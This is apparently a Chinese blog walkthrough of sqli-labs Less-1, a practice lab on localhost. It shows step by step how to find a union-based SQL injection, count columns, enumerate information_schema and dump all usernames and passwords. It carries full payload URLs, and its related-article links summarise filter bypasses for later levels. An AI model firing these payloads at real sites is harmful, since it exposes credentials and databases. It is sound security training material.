sqli-labs Less-1

简介: 1.首先来到less-11.png2.png2.请以数字值作为参数输入id。url后面输入?id=13.png大家可能此时与我不同的是your sql statement is SELECT * FROM users WHERE id='1' LIMIT 0,1这是为了方便我们自己看到底执行的sql语句是什么显示出来的。

1.首先来到less-1

img_4c6336accdc59c7110bb38a88e0ad61d.png
1.png

img_c4781cd8f3de325e60fadb54d5692a65.png
2.png

2.请以数字值作为参数输入id。

  • url后面输入?id=1
img_aca6ff679218ae84c21a8e7597fbe519.png
3.png

大家可能此时与我不同的是

your sql statement is SELECT * FROM users WHERE id='1' LIMIT 0,1

这是为了方便我们自己看到底执行的sql语句是什么显示出来的。那么你也可以添加以下,方法如下:
编辑less-1下的index.php文件
将代码echo "your sql statement is ".$sql."<br>";插入到如下图所示位置

img_73696d4580ace231a3f6058f711bb1f5.png
4.png

之后刷新页面即可。
3.寻找注入点

  • 在正常的参数值后面后加一个英文字符 ',可以看到页面出现了异常,说明此处可能存在注入。
img_c2b87c32260877830fa9163550562cbd.png
5.png
  • 接下来在后面加入--+,发现页面显示正常,这是因为--+注释了后面的sql语句,即注入的'正好闭合了sql语句中的单引号,如下:
img_6921898d6ae5b85761a21455a7fbb91e.png
图片.png
  • 然后继续注入' and 1=1’ and 1=2,进一步确认注入点,如下:
    ' and 1=1页面显示正常,’ and 1=2页面显示不正常。
img_2d4aa4d0a6ee67f61ca376dc5efd512d.png
图片.png
img_4577e851a72f37ceae324e9cbf6fbbb5.png
图片.png

至此,我们可以确认此注入点存在sql注入

4.接下来用order by 语句猜有几个字段
实际操作中采用二分法。
当插入?id=1' order by 3 --+,页面正常显示:

url:

http://127.0.0.1/sqli-labs/Less-1/?id=1' 

img_5a8466783c502652d9ecf23784a298b8.png
6.png

当插入 ?id=1' order by 4 --+,页面异常:

img_70e11a76b34a7fabac8122886a37d04b.png
7.png

此时说明查询的表中有3个字段
5. 此时可以继续使用 union select联合查寻。

img_281b46adeb99cfa71e5e8ddfed9cf355.png
8.png

页面正常无变化,没关系,这是limit 限制了只显示一条结果,即前面id = 1 已经有一个结果了,那好,我们将前面设置为0,让它查不到结果看看.

url:    http://127.0.0.1/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,3%20--+

img_ea9bc5d91091f73f39c10492f56c3f9a.png
9.png

惊喜吧!!看到2,3了吧。
说明第2、3个字段可以显示到页面
6. 先来看看常用查询的数据库,版本号,当前登录的账号信息吧!

img_172b5d191b9a14868f750bea91ac15a8.png
10.png
img_83b1109eb1ca3a9d93cdecfa1431bd76.png
11.png

可以查询到数据库名security,版本5.5.53,当前登录账户:root@localhost
7. 接下来查表名
url:

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,table_name from information_schema.tables where table_schema = "security" --+
img_4f34a0cdbbd5ab631d298897a3867138.png
12.png

可以看到查询到一个表,接下来使用group_concat()函数将所有表列出来
url:

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+

img_7d9262c82fd855b891227b23365be9f2.png
13.png

可以看到一共四个表:emails,referers,uagents,users
8.接下来查关注的users表中字段
url:

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "users" and table_schema = "security" --+

img_9cec2493812a3edd15bf29f89be89f2b.png
14.png

9. 最后就是查看表中字段内容了
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users --+

img_ffa271345fc62f6cfd0b141a43e3e208.png
15.png

10.这样有点不美观,可以这样做:
url:

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,concat_ws("~",username,password) from users --+
img_44f835f112cb0365689ea86061f5851f.png
16.png

显示了一个用户名密码,不爽:
url:

http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws("~",username,password)) from users --+
img_d5945a59a4168294050913a1c4d9f62a.png
17.png

这样就完美了,nice.

最后附图一张,information_schema数据库主要表结构

img_6152d30b7218c8f9dc7510aac1376935.png
image.png

说明:当数据库版本大于5以上,数据库中将有information_schema数据库,这个数据库中包含数据库里面所有数据库的表、字段以及数据库名字。
schemata 这张表存放了所有数据库的信息
tables 这张表存放了所有数据库的所有表的信息
columns 这张表存放了所有数据库的所有表中的字段信息

目录
相关文章
|
4月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
253 0
SQLi LABS Less-26
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
202 0
SQLi LABS Less-29
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
169 0
SQLi LABS Less-27a
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
136 0
SQLi LABS Less-16
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
166 0
SQLi LABS Less-19
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
133 0
SQLi LABS Less-30
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
317 0
SQLi LABS Less-27
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
102 0
SQLi LABS Less-22
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
146 0
SQLi LABS Less-31